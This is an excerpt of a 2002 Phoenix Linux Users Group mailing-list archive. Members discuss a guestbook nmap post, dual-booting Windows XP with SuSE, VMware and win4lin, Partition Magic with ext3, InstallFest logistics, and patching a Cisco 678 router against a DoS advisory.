Please come forward References: <200206100555.BAA18201@hostinworld6.com> Message-ID: <3D05878E.E5D48F58@cox.net> Um, why do you say this was a PLUG member? Did he/she say so? Or are you concluding that from the fact that they were using KDE? BTW, it wasn't I. (Me neither.) Vic "Bryce C." wrote: > A PLUG member and possible Chandler resident running > KDE3.0.0-10 recently posted to my site's guestbook an > NMAP of my web server. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:20:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Mon, 10 Jun 2002 22:20:38 -0700 Subject: Linux on Comedy Central? References: <20020610231726.83489.qmail@web13406.mail.yahoo.com> <3D057674.5287D130@leml.asu.edu> <20020610215038.23516f7e.derek@gnue.org> Message-ID: <3D0588A6.E86E5915@leml.asu.edu> Derek Neighbors wrote: > > chillywilly? > > http://members.gtw.net/~taylor/mike/chilly/chilly0.htm Yes, I think it is ;-) > > What was the old cartoon penguin named? His new nephew *IS* out > > beloved Tux ;-) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:40:01 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 22:40:01 -0700 Subject: OT: Please come forward In-Reply-To: <3D05878E.E5D48F58@cox.net> References: <200206100555.BAA18201@hostinworld6.com> <3D05878E.E5D48F58@cox.net> Message-ID: <200206110540.BAA31141@hostinworld6.com> I assumed it. Besides, the person has come forward and they were just trying to be informative. On 10 Jun 2002 22:15:58 -0700, Victor Odhner wrote: > Um, why do you say this was a PLUG member? > Did he/she say so? Or are you concluding that > from the fact that they were using KDE? > > BTW, it wasn't I. (Me neither.) > > Vic > > "Bryce C." wrote: > > A PLUG member and possible Chandler resident running > > KDE3.0.0-10 recently posted to my site's guestbook an > > NMAP of my web server. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:43:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Mon, 10 Jun 2002 22:43:35 -0700 Subject: Linux for Christians In-Reply-To: <3D056815.5080304@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <200206092132.00620.lists@ybnormal.org> <3D056815.5080304@earthlink.net> Message-ID: <200206102243.35463@granroth.org> On Monday 10 June 2002 08:01 pm, Greg Furmanek wrote: > You right I should probably get some of heathens like myslef and creat > our own distro. > > I wonder what should I name it? and how many people will I piss of with > this one. > >>>Looking for something else on Google I stumbled on to The Linux for > >>>Christians site! http://thelinuxlink.net/l4c/ Here's what it says: Y'know, for all the jokes that have been made about this, it appears to be a serious and useful (if that's what you are looking for) site. I think too many people here are viewing this as another Jesux (which I thought then and still think now is/was a hoax). Jesux was an over-the-top parody of the old "Unix for the Politically Correct" ("man" becomes "person", and so on) using Christian instead of PC. What *this* site is is yet another Special Interests Group with links to software related to their interest. It's no different, really, than an animal lover offering links to screensavers, wallpapers, pet interaction programs, and the like. Or any low-budget advocacy group sharing info on using Linux to advance the cause. I actually did something a *little* similar not that long ago with my own church in an attempt to get people to interact more online. I had some tutorials and the like written up on how to use Linux and ogg vorbis (and was getting into icecast) to allow church members spread around the country and the world to still stay in touch. Hmm.. although in my case, midway through my work, I was told by the Church Board that I was to cease and desist any and all work I was doing since the Internet was evil (no joke) and they thought people should spend less time online, not more. Ah well. Okay, got a little sidetracked... :-) My point is that while that site's content may not appeal to all people, it's far from a joke. I just hope they have more luck than I had. -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:46:43 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Mon, 10 Jun 2002 22:46:43 -0700 Subject: Installfest Question (Yet another) In-Reply-To: <200206110415.AAA03429@hostinworld6.com> References: <200206110415.AAA03429@hostinworld6.com> Message-ID: <200206102246.49201.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 10 June 2002 21:15, Bryce "C." wrote: > That was sort of my problem. I don't have the money to buy a scsi drive > for a 7 year old mac. Doesn't that mean it runs the old OS 7.X? That version of the system is freely available from Apple in case something goes wrong. PS: Check this information since I have known to be wrong in the past. :-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9BY7HpNoctRtUIRQRAt7iAJ0Ujo19H+sYTA4s5Z+5AMRR4Sg3RgCfUL52 8WPWktPPvuU36krmk81lOKI= =Xy52 -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:52:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Isaac Sparrow) Date: Mon, 10 Jun 2002 22:52:05 -0700 Subject: Linux for Christians In-Reply-To: <3D056901.3060507@earthlink.net> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D04124D.8000100@earthlink.net> <15620.43611.959869.710388@magnitude.righthandgraphics.com> <3D056901.3060507@earthlink.net> Message-ID: <20020611055205.GA5358@neo.visicomp.com> --sm4nu43k4a2Rpi4c Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable Can I be second in command? VIM rocks!=20 --=20 ------------------------------------------------- Isaac Sparrow Staff Engineer VisiComp, Inc. http://www.visicomp.com GnuPG Key Fingerprint: 1060 5A07 F6EC B2B3 9AAA 3EA5 7B79 EFE1 6397 4F47 Get my public key at: http://www.concentric.net/~issparow /* * Oops. The kernel tried to access some bad page. We'll have to * terminate things with extreme prejudice. */ die_if_kernel("Oops", regs, error_code); (From linux/arch/i386/mm/fault.c) =20 On Mon, Jun 10, 2002 at 08:05:37PM -0700, Greg Furmanek wrote: > HAHAHA... good humor. I loved this one. >=20 > btw. I should start my own cult of "VIM" editor. =20 >=20 > any followers? >=20 > Greg >=20 >=20 > David A. Sinck wrote: >=20 > >\_ SMTP quoth Greg Furmanek on 6/9/2002 19:43 as having spake thusly: > >\_ > >\_ How about a linux distro specifically for non-christians? Buddists?= =20 > >\_ Muslims? Hindu? > >\_=20 > >\_ btw: why everything on this planet has to be about religion? Isn't= =20 > >\_ this why we have so > >\_ many wars? > > > >No, we have so many wars because of people using the wrong editor. > > > > > >Die infidel (emacs|vi) user, die! > > > >:-) > > > >http://www.netfunny.com/rhf/jokes/97/Jul/tolerance.html > > > > > >David > >________________________________________________ > >See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't= =20 > >post to the list quickly and you use Netscape to write mail. > > > >PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > >http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > >=20 > > >=20 >=20 >=20 > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't= =20 > post to the list quickly and you use Netscape to write mail. >=20 > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >=20 --sm4nu43k4a2Rpi4c Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: NSA bad. Encryption good. iD8DBQE9BZAFe3nv4WOXT0cRAkv7AKC0HcV+jJf2S9zu4BEQW0REf6c+SACeNXwP PoX36I30UCvi6A3Gfus4Quo= =u8nG -----END PGP SIGNATURE----- --sm4nu43k4a2Rpi4c-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 05:59:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Victor Odhner) Date: Mon, 10 Jun 2002 22:59:21 -0700 Subject: [Fwd: [aztechlist] Linux in a Windows environment] Message-ID: <3D0591B9.15F13F68@cox.net> Maybe someone here can help this fellow with more technical information. I've already posted a reference to Matt Alexander's presentation on the plugpresents.org site. Vic -------- Original Message -------- Subject: [aztechlist] Linux in a Windows environment Date: Mon, 10 Jun 2002 12:56:15 -0400 From: "Corby Kissler" To: Hello list, I'm curious if there are any members of the list that have had first hand experience installing linux file and print sharing services in a corporate windows environment? My interest is in the migration pains that were felt from a technical perspective, and also from a business side, i.e. were there any hurdles to overcome with senior management. I'm looking at replacing some dedicated file sharing appliances with linux (red hat), a decent box, raid card and drives (super cheap). Storage costs are so low right now, that not having enough space in an environment is inexcusable (within limits of course) Have seen the Samba software but haven't played with it yet. Evaluating its integration with windows for file and print sharing from windows desktops. If anyone has an insight they'd like to share on TCO, buy-in, technical hurdles, i'd appreciate it. Corby Kissler ------------------------ Yahoo! Groups Sponsor ---------------------~--> Will You Find True Love? Will You Meet the One? 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Groups is subject to http://docs.yahoo.com/info/terms/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 06:04:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Mon, 10 Jun 2002 23:04:24 -0700 Subject: OT: Please come forward In-Reply-To: <3D05878E.E5D48F58@cox.net> References: <200206100555.BAA18201@hostinworld6.com> <3D05878E.E5D48F58@cox.net> Message-ID: <200206102304.24581.lists@ybnormal.org> Me neither and I use KDE too On Monday 10 June 2002 10:15 pm, Victor Odhner wrote: > Um, why do you say this was a PLUG member? > Did he/she say so? Or are you concluding that > from the fact that they were using KDE? > > BTW, it wasn't I. (Me neither.) > > Vic > > "Bryce C." wrote: > > A PLUG member and possible Chandler resident running > > KDE3.0.0-10 recently posted to my site's guestbook an > > NMAP of my web server. > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Visit my home page at http://www.achtenberg.com Every DAY 24,000 people die of hunger related causes. 18,000 of these are children. Find out how you can help at http://www.Christ4me.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 06:22:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Mon, 10 Jun 2002 23:22:29 -0700 Subject: Linux for Christians In-Reply-To: <200206102243.35463@granroth.org> References: <1023644806.3d039486f097c@webmail.freedom2surf.net> <3D056815.5080304@earthlink.net> <200206102243.35463@granroth.org> Message-ID: <200206102322.38624.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 10 June 2002 22:43, Kurt Granroth wrote: > What *this* site is is yet another Special Interests Group with links > to software related to their interest. It's no different, really, > than an animal lover offering links to screensavers, wallpapers, pet > interaction programs, and the like. Or any low-budget advocacy group > sharing info on using Linux to advance the cause. Don't worry. We'd laugh at the cat lovers as well. No harm intended. ;-) > I actually did something a *little* similar not that long ago with my > own church in an attempt to get people to interact more online. I had > some tutorials and the like written up on how to use Linux and ogg > vorbis (and was getting into icecast) to allow church members spread > around the country and the world to still stay in touch. > Hmm.. although in my case, midway through my work, I was told by the > Church Board that I was to cease and desist any and all work I was > doing since the Internet was evil (no joke) and they thought people > should spend less time online, not more. Ah well. "Evil"? I think I hear the words of an individual with little experience. They need to keep in mind that the first amendment doesn't just apply to them. In the case of spending more time offline, that is certainly a common thread among society. However, if the religious leader of choice can spend a couple of hours a day talking to people, then they should respect my right to do the same. Your project sounds like it is dying to be placed on the PLUG website, though. :-) - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9BZclpNoctRtUIRQRAvBoAJ9DtUikb5Td1sH2MA1MT6ZxuTaFrACgjUeN +nl5JW8PnnIFGzFr+PUmJrs= =xg3K -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 06:35:48 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bryce C.) Date: 10 Jun 2002 23:35:48 -0700 Subject: Installfest Question (Yet another) In-Reply-To: <200206102246.49201.voltage_spike@fastmail.fm> References: <200206110415.AAA03429@hostinworld6.com> <200206102246.49201.voltage_spike@fastmail.fm> Message-ID: <200206110635.CAA16235@hostinworld6.com> Do you have any idea where? On 10 Jun 2002 22:46:43 -0700, Voltage Spike wrote: > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Monday 10 June 2002 21:15, Bryce "C." wrote: > > That was sort of my problem. I don't have the money to buy a scsi drive > > for a 7 year old mac. > > Doesn't that mean it runs the old OS 7.X? That version of the system is > freely available from Apple in case something goes wrong. > > PS: Check this information since I have known to be wrong in the past. :-) > > - -- > Voltage Spike > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9BY7HpNoctRtUIRQRAt7iAJ0Ujo19H+sYTA4s5Z+5AMRR4Sg3RgCfUL52 > 8WPWktPPvuU36krmk81lOKI= > =Xy52 > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Bryce C. Network Administrator CoBryce Communications Bryce @ BryceCo . Net From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 06:55:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 10 Jun 2002 23:55:14 -0700 (MST) Subject: Linux on Comedy Central? In-Reply-To: <20020610215038.23516f7e.derek@gnue.org> Message-ID: Am 10. Jun, 2002 schwätzte Derek Neighbors so: > chillywilly? > > http://members.gtw.net/~taylor/mike/chilly/chilly0.htm I was thinking ".tn.us Tuxedo". If that's so, though, what's Tux' first name? ciao, der.hans -- # https://www.LuftHans.com/ # The only way for a woman to change a man # is if he's wearing Depends[TM] - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 07:47:00 2002 From: plug-discuss@lists.plug.phoenix.az.us (Voltage Spike) Date: Tue, 11 Jun 2002 00:47:00 -0700 Subject: Mac OS Download (Was: Installfest Question (Yet another) ) In-Reply-To: <200206110635.CAA16235@hostinworld6.com> References: <200206110415.AAA03429@hostinworld6.com> <200206102246.49201.voltage_spike@fastmail.fm> <200206110635.CAA16235@hostinworld6.com> Message-ID: <200206110047.08219.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 10 June 2002 23:35, Bryce "C." wrote: > Do you have any idea where? Courtesy of the Basilisk project: http://www.kearney.net/~mhoffman/basiliskII/system753_tutorial/ They even provide installation instructions, it seems. As mentioned before, it might be a good idea to see what version of the MacOS you are currently running. - -- Voltage Spike ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9Bar3pNoctRtUIRQRAh7OAJ9azPn8Lwy7PWga/Y0cKSW1+gmKygCeNavX DiiUlYkEr/nGlfk9RePhWSc= =hmNy -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 08:50:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt) Date: Tue, 11 Jun 2002 01:50:19 -0700 Subject: XP/Linux dual boot References: <200206110555.g5B5t3210306@PlugList.MyButt.Net> Message-ID: <000501c21125$040fc640$6501a8c0@ph.cox.net> So today I went out to Fry's and bought Windows XP, because I need Windows for a few things. I installed XP, and all went well. I prodded it for a few minutes, then restarted with my SuSE Linux 8.0 CD in. I just went with the default settings it gave me. It said it was going to delete the NTFS partition, but I'd heard Linux works well with Windows, so I assumed that the folks at SuSE knew what they were doing. Apparently I was wrong. Linux installed fine, but when I restarted the computer to see if all was OK, I found out that it wasn't. Windows shows up as an option in LILO, but it merely goes to a black screen with white text that says "Loading Windows..." What is it that I did wrong, and what should I do after I fdisk it all and start repeating the same process? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 10:57:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 11 Jun 2002 03:57:55 -0700 (MST) Subject: supplies for InstallFest Message-ID: moin, moin, I've put together a page to show what supplies we need/have for the InstallFest. There is a form to add stuff as well. Please be gentle on it. It's not locked down as well as I'd like. It does, however, let you post that you're volunteering to bring stuff. Feel free to use a pseudonym or random string for your 'name' if you don't want your name listed, but put in a valid email addy, so Bill can get ahold of you. The email addies aren't viewable from the publicly available pages. https://www.LuftHans.com/php/PLUG/InstallFest/supplies.php Green means we have what we've determined we need ( more is usually better, though, so feel free to bring more ). Red ( well, it's pink because it was hard to see links on a red background and it was easier to change the background color ) indicates that we need more of that item. ciao, der.hans -- # https://www.LuftHans.com/ # Like the maid, I don't do (M$)Windows. - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 11:14:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Tue, 11 Jun 2002 04:14:37 -0700 (MST) Subject: ride sharing for the InstallFest Message-ID: moin, moin, not everyone has a car to get to the InstallFest. Also, some who might be bringing equipment might need help hauling it over. Let's see if we can use the list to organize that a little bit :). ciao, der.hans -- # https://www.LuftHans.com/ # Take a razor to your throat # and a noose to your neck, # then follow that up with a cup of poison. # Not a good way to start the day. - der.hans From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 11:39:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Tue, 11 Jun 2002 07:39:15 -0400 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <3D055C10.29367AC0@georgetoft.com> <200206102200.00787.plug@the-arcanum.org> Message-ID: <3D05E163.2F12A01A@georgetoft.com> Hi Nathan, The price for vmware is $299. George Nathan England wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > George, > How much did you pay for vmware? > > Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: > > My experience with vmware is very positive. Issues with vmware: > > - I cannot listen to Internet Radio at kccnfm100.com. Even with four > > new software > > downloads, three reboots (virtual), and 2 crashes, all I got was static. > > - vmware does not do streaming media via USB. Want to use a USB > > camera? Forget it. > > - vmware with sound is usually preceeded with a loud pop. > > - vmware does not support directx very well (if at all). > > > > Other than that, it lets me do my taxes, browse using IE 5.5, and gives > > me blue screens, > > just like the real thing. > > > > George > > > > Mike Porter wrote: > > > Ok, this is intriguing to me. I am looking to migrate my house over to > > > Linux, but I have some apps for which I cannot find comparable *nix > > > substitutes. (Believe it or not, the request to move torward Linux is at > > > my wife's request) > > > > > > So, those who have experienced VMware, win4lin, and the like, can you > > > offer me your best suggestions as far as which you prefer and which > > > flavor of Linux you believe is most solid with your choice? Also, any > > > gotchas that you can think of would be most helpful. > > > > > > Also, has anyone run into problems with accessing Windows only devices > > > using either of these options? > > > > > > Mike > > > > > > -----Original Message----- > > > From: Derek Neighbors [mailto:derek@gnue.org] > > > Sent: Sunday, May 26, 2002 9:36 PM > > > To: plug-discuss@lists.plug.phoenix.az.us > > > Cc: punkmmiv@cox.net > > > Subject: Re: Windows and Linux > > > > > > On 26 May 2002 22:44:49 -0700 > > > > > > Matt wrote: > > > > I know that Windows and Linux are supposed to operate pretty well > > > > together, but the only articles I've read are about installing Linux > > > > once Windows is already there. I'm running a pure SuSE 8.0 box and I > > > > was wondering if it's possible to install Windows on it while still > > > > being able to use my current install? > > > > > > Try win4lin. It lets you run windows as a window inside your GNU/Linux > > > environment. Unlike VMWare and friends it is not a VM. Also, unlike > > > WINE it actually works and works well. It will even let windows use > > > (read/write) to your GNU/Linux file systems and such. It is not free, > > > but neither is M$ Windows (so I assume you dont have a problem with > > > that) and it is by far the best way to 'suffer' M$ while not having to > > > 'leave' a real operating system. > > > > > > -Derek > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.7 (GNU/Linux) > > iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr > UHgqeghEeXKGOxPtBOCylhE= > =GPfW > -----END PGP SIGNATURE----- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 13:00:15 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Tue, 11 Jun 2002 06:00:15 -0700 Subject: partition magic Message-ID: <20020611060015.5406195d.snoogans@qwest.net> I am using partition magic and i want to resize my ext2 partition at the end of my 18 gig HD because i want to try out another OS(gentoo) but partition magic thinks my ext2 partition is completely full and therefor wont resize it. Does anyone have any idea why it might think that or how to fix it or if im completely screwed? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 13:35:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Roderick Ford) Date: Tue, 11 Jun 2002 06:35:53 -0700 Subject: Windows and Linux References: <52339DF144F8AB458552076D1ED5CA152F1C80@mail.interactcommerce.com> <3D055C10.29367AC0@georgetoft.com> <200206102200.00787.plug@the-arcanum.org> <3D05E163.2F12A01A@georgetoft.com> Message-ID: <3D05FCB9.1020001@asu.edu> For personal use, the price is ~$120...used to be $99. Rod George Toft wrote: > Hi Nathan, > > The price for vmware is $299. > > George > > > Nathan England wrote: > >>-----BEGIN PGP SIGNED MESSAGE----- >>Hash: SHA1 >> >>George, >>How much did you pay for vmware? >> >>Am Montag 10 Juni 2002 07:10 nachmittags schrieb George Toft: >> >>>My experience with vmware is very positive. Issues with vmware: >>>- I cannot listen to Internet Radio at kccnfm100.com. Even with four >>>new software >>>downloads, three reboots (virtual), and 2 crashes, all I got was static. >>>- vmware does not do streaming media via USB. Want to use a USB >>>camera? Forget it. >>>- vmware with sound is usually preceeded with a loud pop. >>>- vmware does not support directx very well (if at all). >>> >>>Other than that, it lets me do my taxes, browse using IE 5.5, and gives >>>me blue screens, >>>just like the real thing. >>> >>>George >>> >>>Mike Porter wrote: >>> >>>>Ok, this is intriguing to me. I am looking to migrate my house over to >>>>Linux, but I have some apps for which I cannot find comparable *nix >>>>substitutes. (Believe it or not, the request to move torward Linux is at >>>>my wife's request) >>>> >>>>So, those who have experienced VMware, win4lin, and the like, can you >>>>offer me your best suggestions as far as which you prefer and which >>>>flavor of Linux you believe is most solid with your choice? Also, any >>>>gotchas that you can think of would be most helpful. >>>> >>>>Also, has anyone run into problems with accessing Windows only devices >>>>using either of these options? >>>> >>>>Mike >>>> >>>>-----Original Message----- >>>>From: Derek Neighbors [mailto:derek@gnue.org] >>>>Sent: Sunday, May 26, 2002 9:36 PM >>>>To: plug-discuss@lists.plug.phoenix.az.us >>>>Cc: punkmmiv@cox.net >>>>Subject: Re: Windows and Linux >>>> >>>>On 26 May 2002 22:44:49 -0700 >>>> >>>>Matt wrote: >>>> >>>>>I know that Windows and Linux are supposed to operate pretty well >>>>>together, but the only articles I've read are about installing Linux >>>>>once Windows is already there. I'm running a pure SuSE 8.0 box and I >>>>>was wondering if it's possible to install Windows on it while still >>>>>being able to use my current install? >>>> >>>>Try win4lin. It lets you run windows as a window inside your GNU/Linux >>>>environment. Unlike VMWare and friends it is not a VM. Also, unlike >>>>WINE it actually works and works well. It will even let windows use >>>>(read/write) to your GNU/Linux file systems and such. It is not free, >>>>but neither is M$ Windows (so I assume you dont have a problem with >>>>that) and it is by far the best way to 'suffer' M$ while not having to >>>>'leave' a real operating system. >>>> >>>>-Derek >>>>________________________________________________ >>>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>>post to the list quickly and you use Netscape to write mail. >>>> >>>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>>>________________________________________________ >>>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>>post to the list quickly and you use Netscape to write mail. >>>> >>>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >>> >>>________________________________________________ >>>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't >>>post to the list quickly and you use Netscape to write mail. >>> >>>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss >> >>-----BEGIN PGP SIGNATURE----- >>Version: GnuPG v1.0.7 (GNU/Linux) >> >>iD8DBQE9BYPQQ7yNnsYcupwRAnQTAJ91XjbtdTMDhIRATUilt6n3zeX+qgCfU0fr >>UHgqeghEeXKGOxPtBOCylhE= >>=GPfW >>-----END PGP SIGNATURE----- >> >>________________________________________________ >>See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. >> >>PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us >>http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 13:39:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (William Lindley) Date: Tue, 11 Jun 2002 06:39:11 -0700 (MST) Subject: ride sharing for the InstallFest In-Reply-To: Message-ID: Friends, The Scottsdale Community College is served by Valley Metro bus routes #50 Camelback #84 Granite Reef #76 Miller These routes operate every half-hour, all day every day until about 7pm. Fare is $1.25 with free transfers. On-line bus routes and schedules: http://www.valleymetro.org \\/ From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 13:46:04 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Tue, 11 Jun 2002 06:46:04 -0700 Subject: [SOLVED] partition magic In-Reply-To: <20020611060015.5406195d.snoogans@qwest.net> References: <20020611060015.5406195d.snoogans@qwest.net> Message-ID: <20020611064604.48424e67.snoogans@qwest.net> Well turns out partition magic doesn't like ext3 very much, i downgraded back to ext2 so i could resize my partition and it worked just fine, and i am a big fan of partition magic now too :) Just thought i would let everyone know how i fixed it. On Tue, 11 Jun 2002 06:00:15 -0700 "robert jorgenson" wrote: > I am using partition magic and i want to resize my ext2 partition at the end of my 18 gig HD because i want to try out another OS(gentoo) but partition magic thinks my ext2 partition is completely full and therefor wont resize it. Does anyone have any idea why it might think that or how to fix it or if im completely screwed? > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 11 14:14:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Tue, 11 Jun 2002 07:14:25 -0700 Subject: Cisco DoS required CBOS upgrade- Qwest complaint Message-ID: <4A8DFDA6B395D411A11B00508BEE23FE76B467@mail.int.fh.org> At least it isn't cox -----Original Message----- From: Mike Butash [mailto:mike@butash.net] Sent: Monday, June 10, 2002 8:21 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Cisco DoS required CBOS upgrade- Qwest complaint It's qworst, you expect anything more? http://www.cisco.com/warp/public/794/675_faq.shtml Zmodem transfers are rather painful, I'd say look into the password recovery steps (if you don't know your pw) listed on that page and tftp it. Set the eth0 ip as it says, enable tftp on the router, and "man tftp". http://nutsac.org/stuff/c675.2.4.5.bin -mbutash -----Original Message----- From: plug-discuss-admin@lists.plug.phoenix.az.us [mailto:plug-discuss-admin@lists.plug.phoenix.az.us]On Behalf Of Eric Richardson Sent: Monday, June 10, 2002 1:59 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Cisco DoS required CBOS upgrade- Qwest complaint Patrick Fleming EA wrote: > I have been in contact with Cisco support as well as customer support > within Qwest regarding a serious Denial of Service update to the software > that runs my Cisco 678 router. On 5-23-2002 Cisco released the following > advisory: 